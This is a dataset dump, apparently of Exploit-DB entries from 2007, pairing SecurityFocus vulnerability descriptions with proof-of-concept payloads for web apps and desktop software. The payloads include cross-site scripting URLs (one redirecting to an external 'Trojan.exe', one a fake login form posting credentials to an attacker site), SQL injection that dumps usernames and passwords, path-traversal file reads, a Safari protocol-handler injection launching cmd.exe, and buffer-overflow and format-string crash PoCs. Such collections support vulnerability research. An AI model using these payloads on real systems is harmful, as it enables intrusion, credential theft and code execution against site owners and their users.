QLWD/code_shield huggingface dataset:
标题: Comersus Cart 7.0.7 - 'comersus_customerAuthenticateForm.asp' redirectUrl Cross-Site Scripting EDB-ID: 30204 CVE: 2007-3324 类型: WEBAPPS 平台: ASP 发布日期: 2007-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/24562/info
 
Comersus Cart is affected by multiple input validation vulnerabilities.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
The attacker may also leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Comersus Cart 7.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/path/store/comersus_customerAuthenticateForm.asp?redirectUrl="><script>window.location="http://www.Evil_Site.com/Trojan.exe"</script> URL: https://www.exploit-db.com/exploits/30204
标题: FuseTalk 4.0 - 'blog/include/common/comfinish.cfm?FTVAR_SCRIPTRUN' Cross-Site Scripting EDB-ID: 30207 CVE: 2007-3339 类型: WEBAPPS 平台: ASP 发布日期: 2007-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/24563/info
 
FuseTalk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/blog/include/common/comfinish.cfm?FTRESULT.errorcode=0&FTVAR_SCRIPTRUN=[xss] URL: https://www.exploit-db.com/exploits/30207
标题: FuseTalk 2.0/3.0 - 'AuthError.cfm' SQL Injection EDB-ID: 30202 CVE: 2007-3301 类型: WEBAPPS 平台: CFM 发布日期: 2007-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/24528/info

FuseTalk is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

NOTE: Specific vulnerable versions were not disclosed. Reports also indicate that this issue has been addressed in the latest version of the application. 

http://www.example.com/forum/include/error/autherror.cfm?FTVAR_URLP=x&errorcode=[SQL_INJ] URL: https://www.exploit-db.com/exploits/30202
标题: Comersus Cart 7.0.7 - 'comersus_message.asp' redirectUrl Cross-Site Scripting EDB-ID: 30205 CVE: 2007-3324 类型: WEBAPPS 平台: ASP 发布日期: 2007-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/24562/info
  
Comersus Cart is affected by multiple input validation vulnerabilities.
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
The attacker may also leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Comersus Cart 7.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/path/store/comersus_message.asp?message=<script src=http://www.Site.com/Evil_Script.js></script> http://www.example.com/path/store/comersus_message.asp?message=<form%20action="http://www.Evil_Site.com/Steal_Info.asp"%20method="post">Username:<input%20name="username"%20type="text"%20maxlength="10"><br>Password:<input%20name="password"%2 0type="text"%20maxlength="10"><br><input%20name="login"%20type="submit"%20value ="Login"></form> URL: https://www.exploit-db.com/exploits/30205
标题: Comersus Cart 7.0.7 - 'comersus_optReviewReadExec.asp?id' SQL Injection EDB-ID: 30203 CVE: 2007-3323 类型: WEBAPPS 平台: ASP 发布日期: 2007-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/24562/info

Comersus Cart is affected by multiple input validation vulnerabilities.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

The attacker may also leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Comersus Cart 7.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/store/comersus_optReviewReadExec.asp?idProduct=' URL: https://www.exploit-db.com/exploits/30203
标题: TDizin - 'Arama.asp' Cross-Site Scripting EDB-ID: 30198 CVE: 2007-3310 类型: WEBAPPS 平台: ASP 发布日期: 2007-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/24515/info

TDizin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/TDizin/arama.asp?ara= "><script>alert("G3");</script>&submit=+T%27ARA+ URL: https://www.exploit-db.com/exploits/30198
标题: Fuzzylime 1.0 - 'Low.php' Cross-Site Scripting EDB-ID: 30201 CVE: 2007-3267 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/24522/info

Fuzzylime is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Fuzzylime 1.01b and prior versions are vulnerable to this issue. 

http://www.example.com/path/low.php?action=log&fromforum=111-222-1933email@address.com&fromtopic=111-222-1933email@address.com&fromaction=>"><ScRiPt%20%0a%0d>alert(21 407654)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/30201
标题: WebIf - 'OutConfig' Local File Inclusion EDB-ID: 30199 CVE: 2007-3266 类型: WEBAPPS 平台: CGI 发布日期: 2007-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/24516/info

WebIf is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts. 

http://www.example.com/webif/webif.cgi?cmd=query&config=conf_2000/config.txt&outconfig=../../../../etc/issue URL: https://www.exploit-db.com/exploits/30199
标题: PHP Hosting Biller 1.0 - 'index.php' Cross-Site Scripting EDB-ID: 30200 CVE: 2007-3281 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/24517/info

Php Hosting Biller is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Php Hosting Biller 1.0; other versions may also be vulnerable. 

http://www.example.com/app_path/index.php/%3E%22%3E%3CScRiPt%3Ealert(1234)%3C/ScRiPt%3E URL: https://www.exploit-db.com/exploits/30200
标题: FuseTalk 4.0 - 'forum/include/common/comfinish.cfm?FTVAR_SCRIPTRUN' Cross-Site Scripting EDB-ID: 30206 CVE: 2007-3339 类型: WEBAPPS 平台: CFM 发布日期: 2007-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/24563/info

FuseTalk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/forum/include/common/comfinish.cfm?FTRESULT.errorcode=0&FTVAR_SCRIPTRUN=[xss] URL: https://www.exploit-db.com/exploits/30206
标题: Apache MyFaces Tomahawk JSF Framework 1.1.5 - 'Autoscroll' Cross-Site Scripting EDB-ID: 30191 CVE: 2007-3101 类型: WEBAPPS 平台: JSP 发布日期: 2007-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/24480/info

Apache Tomahawk MyFaces JSF Framework is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to launch cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http:/;www.example.com/some_app.jsf?autoscroll=[javascript] URL: https://www.exploit-db.com/exploits/30191
标题: Apache Tomcat 6.0.13 - JSP Example Web Applications Cross-Site Scripting EDB-ID: 30189 CVE: 2007-2449 类型: WEBAPPS 平台: JSP 发布日期: 2007-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/24476/info

Apache Tomcat is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

http:/;www.example.com/jsp-examples/snp/snoop.jsp;[xss] URL: https://www.exploit-db.com/exploits/30189
标题: Apple Safari 3.0.1 for Windows - 'Corefoundation.dll' Denial of Service EDB-ID: 30193 CVE: 2007-3284 类型: DOS 平台: WINDOWS 发布日期: 2007-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/24497/info

Apple Safari for Windows is prone to a denial-of-service vulnerability because it fails to properly handle user-supplied input.

An attacker may exploit this issue by enticing victims into opening a maliciously crafted HTML document.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions. Attackers may also be able to execute arbitrary code, but Symantec had not confirmed this.

Safari 3.0.1 public beta for Windows is reported vulnerable.

<html><Title>Safari 3.0.1 beta for windows Crash Poc By Lostmon</title> <body> <p>Safari 3.0.1 beta for windows Crash Poc By Lostmon (Lostmon@Gmail.com )</p> <p> Put some number in the second form for crash Safari</p> <form id="historyForm1" method="GET" action="#"> <input type="text" id="currentIndex1" name="currentIndex" value="sss"> <textarea id="historyLocation1" name="historyLocation">&lt;/textarea&gt; <form id="historyForm2" method="GET" action="#"> <input type="text" id="currentIndex2" name="currentIndex"> <textarea id="historyLocation2" name="historyLocation">&lt;/textarea&gt; </form></form></body></html> URL: https://www.exploit-db.com/exploits/30193
标题: Joomla! Component Letterman Subscriber Module 1.2.4 - 'Mod_Lettermansubscribe.php' Cross-Site Scripting EDB-ID: 30190 CVE: 2007-3249 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/24479/info

The Joomla! Letterman Subscriber module is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Joomla! Letterman Subscriber 1.2.4-RC1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?option=com_letterman&task=view&id=1&Itemid=1"><script>alert(String.fromCharCode(88,83,83))</script> URL: https://www.exploit-db.com/exploits/30190
标题: Mbedthis AppWeb 2.2.2 - URL Protocol Format String EDB-ID: 30187 CVE: 2007-3009 类型: DOS 平台: MULTIPLE 发布日期: 2007-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/24454/info

Mbedthis AppWeb is prone to a format-string vulnerability because the application fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

This issue affects only applications that were built with logging enabled and installed with no "ErrorLog" directive in 'appweb.conf'.

Successful exploits may allow remote attackers to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will likely crash the application, denying further service to legitimate users.

AppWeb 2.2.2 is reported vulnerable; other versions may also be affected.

'GET %n://localhost:80/" request' URL: https://www.exploit-db.com/exploits/30187
标题: WSPortal 1.0 - 'content.php' SQL Injection EDB-ID: 30197 CVE: 2007-3127 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/24513/info

WSPortal is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

This issue affects WSPortal 1.0; other versions may also be vulnerable. 

http://www.example.com/[WSPORTAL-DIRECTORY]/content.php?page=0' UNION SELECT `username`,`password` FROM `users` WHERE '1 URL: https://www.exploit-db.com/exploits/30197
标题: Kaspersky Internet Security 6.0 - SSDT Hooks Multiple Local Vulnerabilities EDB-ID: 30192 CVE: 2006-3074 类型: LOCAL 平台: WINDOWS 发布日期: 2007-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/24491/info

Kaspersky Internet Security 6 is prone to multiple local vulnerabilities.

Exploiting these vulnerabilities allows local attackers to crash affected computers, denying service to legitimate users. Attackers might also be able to gain elevated privileges by executing arbitrary machine code in the context of the kernel, but this has not been confirmed.

Kaspersky Internet Security 6.0.2.614 and 6.0.2.621 are vulnerable; other versions may also be affected.

NOTE: These issues may be related to BID 23326 (Kaspersky Internet Security Suite Klif.SYS Drive Local Heap Overflow Vulnerability), but this has not been confirmed. If we find that this BID is a duplicate, we will retire it and merge its information into BID 23326.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30192.zip URL: https://www.exploit-db.com/exploits/30192
标题: JFFNms 0.8.3 - 'admin/setup.php' Direct Request Authentication Bypass EDB-ID: 30174 CVE: 2007-3192 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/24414/info
   
Just For Fun Network Management and Monitoring System (JFFNMS) is prone to multiple remote vulnerabilities, including a cross-site scripting issue, an SQL-injection issue, and multiple information-disclosure issues.
   
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database, access sensitive information, and obtain cookie-based authentication credentials.
   
These issues affect versions prior to JFFNMS 0.8.4-pre3. 

http://192.168.1.1/admin/setup.php URL: https://www.exploit-db.com/exploits/30174
标题: bbPress 0.8.1 - 'BB-login.php' Cross-Site Scripting EDB-ID: 30175 CVE: 2007-3243 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/24422/info

BBpress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

GET /bb-login.php?re="><script>alert(1);</script> HTTP/1.0 Host: www.some.site Referer: http://www.some.site/ URL: https://www.exploit-db.com/exploits/30175
标题: Apple Safari 3 for Windows - Protocol Handler Command Injection EDB-ID: 30176 CVE: 2007-3186 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/24434/info

Apple Safari for Windows is prone to a protocol handler command-injection vulnerability.

Exploiting the issue allows remote attackers to pass arbitrary command-line arguments to any application that can be called through a protocol handler.

This specific vulnerability relies on the use of IFRAME elements; attackers can do even more damage by combining it with Mozilla XPCOM components.

Exploiting the issue would permit a remote attacker to influence command options that can be called through Safari protocol handlers and to compromise affected systems in the context of the vulnerable user.

This issue may be related to the vulnerability discussed in BID 10406 (Apple MacOS X SSH URI Handler Remote Code Execution Vulnerability). We will update this BID as more information emerges.

Note: Apple has released Safari for Windows Beta 3.0.1 

<html><body>
<iframe src='gopher://example.com" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[&#39;@mozilla.org/file/local;1&#39;].createInstance(I.nsILocalFile);file.initWithPath(&#39;C:&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;Windows&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;System32&#39;+String.fromCharCode(92)+String.fromCharCode(92)+&#39;cmd.exe&#39;);process=C[&#39;@mozilla.org/process/util;1&#39;].createInstance(I.nsIProcess);process.init(file);process.run(true&#44;{}&#44;0);alert(process)'></iframe>process.init(file);process.run(true,{},0);alert(process)
</body></html> URL: https://www.exploit-db.com/exploits/30176
标题: Firebird SQL Fbserver 2.0 - Remote Buffer Overflow EDB-ID: 30186 CVE: 2007-3181 类型: REMOTE 平台: LINUX 发布日期: 2007-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/24436/info

Firebird SQL is prone to a remote buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary machine code in the context of the affected database server. Failed exploit attempts will likely crash the server, denying service to legitimate users.

Firebird SQL 2.0 is vulnerable; previous versions may also be affected. 

typedef struct p_cnct
{
P_OP p_cnct_operation; /* OP_CREATE or OP_OPEN */
USHORT p_cnct_cversion; /* Version of connect protocol */
P_ARCH p_cnct_client; /* Architecture of client */
CSTRING p_cnct_file; /* File name */
USHORT p_cnct_count; /* Protocol versions understood */
CSTRING p_cnct_user_id; /* User identification stuff */
struct p_cnct_repeat
{
USHORT p_cnct_version; /* Protocol version number */
P_ARCH p_cnct_architecture; /* Architecture of client */
USHORT p_cnct_min_type; /* Minimum type */
USHORT p_cnct_max_type; /* Maximum type */
USHORT p_cnct_weight; /* Preference weight */
}
p_cnct_versions[10];
} P_CNCT; URL: https://www.exploit-db.com/exploits/30186
标题: JFFNms 0.8.3 - 'admin/adm/test.php' PHP Information Disclosure EDB-ID: 30173 CVE: 2007-3191 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/24414/info
  
Just For Fun Network Management and Monitoring System (JFFNMS) is prone to multiple remote vulnerabilities, including a cross-site scripting issue, an SQL-injection issue, and multiple information-disclosure issues.
  
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database, access sensitive information, and obtain cookie-based authentication credentials.
  
These issues affect versions prior to JFFNMS 0.8.4-pre3. 

http://192.168.1.1/admin/adm/test.php URL: https://www.exploit-db.com/exploits/30173
标题: Packeteer PacketShaper 7.x - Web Interface Remote Denial of Service EDB-ID: 30167 CVE: 2007-3151 类型: DOS 平台: HARDWARE 发布日期: 2007-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/24388/info

Packeteer PacketShaper is prone to a remote denial-of-service vulnerability because the application's web interface fails to properly handle unexpected requests.

Successfully exploiting this issue allows remote, authenticated attackers to reboot affected devices, denying service to legitimate users.

PacketShaper 7.3.0g2 and 7.5.0g1 are vulnerable to this issue; other versions may also be affected. 

http://www.example.com/rpttop.htm?OP.MEAS.DATAQUERY=&MEAS.TYPE= URL: https://www.exploit-db.com/exploits/30167
标题: WindowsPT 1.2 - User ID Key Spoofing EDB-ID: 30169 CVE: 2007-3201 类型: REMOTE 平台: WINDOWS 发布日期: 2007-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/24412/info

WinPT (Windows Privacy Tray) is prone to a key-spoofing vulnerability because it fails to properly display user-supplied key data.

An attacker can exploit this issue to trick victim users into encrypting potentially sensitive information with a malicious key that appears to be legitimate.

WinPT 1.2.0 is vulnerable; other versions may also be affected. 

" <attacker@examle.com>"SSSSMMMMSSSS<victim@example2.com> "mailto:attacker@foo.org URL: https://www.exploit-db.com/exploits/30169
标题: Beehive Forum 0.7.1 - 'links.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30170 CVE: 2007-3212 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/24413/info

Beehive Forum is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Beehive Forum 0.71 is vulnerable; other versions may also be affected. 

http://www.example.com/forum/links.php?webtag=FORUM_NAME&fid=1&viewmode=>".><script>alert(1);</script> http://www.example.com/forum/links.php?webtag=FOEUM_NAME&fid=>".><script>alert(1);</script>&viewmode=1 http://www.example.com/forum/links.php?webtag=FORUM_NAME&fid=1&viewmode=0&page=1&sort_by=CREATED&sort_dir="><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/30170
标题: Blue Coat Systems K9 Web Protection 32.36 - Remote Buffer Overflow (PoC) EDB-ID: 30163 CVE: 2007-1685 类型: DOS 平台: MULTIPLE 发布日期: 2007-06-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/24373/info

K9 Web Protection is prone to a buffer-overflow vulnerability because it fails to perform sufficient boundary checks on user-supplied data before copying it to a buffer.

An attacker could leverage this issue to execute arbitrary code with administrative privileges. A successful exploit could result in the complete compromise of the affected system.

K9 Web Protection 3.2.36 is reported vulnerable; other versions may be affected as well.

<html>
<head>
<title>CSIS.DK - BlueCoat K9 Web Protection Overflow</title>
<center>
</center>
</head>
<body>
<h4><center> Discovery and Exploit by Dennis Rand - CSIS.DK</h4></center>
<br><b>http://127.0.0.1:2372/home.html[Ax168][DCBA][A x 56][BBBB][AAAA] </b><br>
<br><li> Return Address = DCBA
<br><li> Pointer to the next SEH record = BBBB
<br><li> SE Handler = AAAA
<br>
<center>
<b><A
HREF="http://127.0.0.1:2372/home.htmlAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCC
CDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGHHHHHHHHHHHH
HHHHaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbccccccccDCBAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCC
CCCCCCCCCCCCCDDDDDDDDaaaabbbb">RUN PoC</A></b>
</center>
</body>
</html> URL: https://www.exploit-db.com/exploits/30163